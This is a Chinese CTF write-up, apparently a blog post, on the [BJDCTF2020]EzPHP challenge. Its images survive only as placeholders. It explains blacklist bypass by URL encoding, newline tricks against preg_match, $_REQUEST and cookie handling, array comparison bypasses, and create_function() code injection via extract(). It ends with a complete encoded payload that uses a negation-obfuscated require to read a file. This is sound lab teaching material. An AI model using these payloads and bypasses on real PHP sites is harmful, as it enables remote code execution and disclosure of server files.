[BJDCTF2020]EzPHP

在这里插入图片描述
直接查看源代码
在这里插入图片描述
base32加密
一整套源代码
第一个if
在这里插入图片描述
$_SERVER[‘QUERY_STRING’]是从url提取字符窜,并且他设置了非常长的黑名单,可以利用url关键字编码绕过

在这里插入图片描述
第二个if
意思是如果file这个get参数里面没有http或https不区分大小写且 debu这个get参数要匹配到aqua_is_cute,并且又来了个强不等于
这个绕过其实很简单,因为preg_match只能匹配一行,利用%0a换行即可绕过

在这里插入图片描述
REQUEST可以接受get和post请求,但是post具有优先级,所有可以用post和get传两个一样的来绕过这里有个坑
REQUEST会把cookie包含进来,由于cookie里有英文所以过不了那个if,因此需要删除cookie才能过

在这里插入图片描述
这个直接用data协议过就行了
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
这个类似MD5弱碰撞,数组绕过
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后注意extract()这个函数,意思将数组的键值赋值给键名
在这里插入图片描述
而这一段很明显就是要我们利用extract函数将code和args赋值,然后拿flag
由于禁用了很多关键函数,同时也限制了函数的传参,看了wp,emmmmmm
这题是考察create_function()的使用
我百度一搜,娘的直接有漏洞

在这里插入图片描述
这是create_function()函数的举例
在这里插入图片描述
由于他包含了flag.php,由此我们可以用函数输出所有的变量
函数大全
print_r()被他过滤了,可以用var_dump()
在这里插入图片描述

在这里插入图片描述

发现真正的flag位置

无参数RCE里面一些函数的关键字被过滤了
不可行

虽然过滤了include 还能用require进行文件包含
过滤了"可以用()代替
就算他有严格的过滤,由于没有过滤取反符号,直接利用取反
利用php伪协议直接读取

在这里插入图片描述
最终的payload如下

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值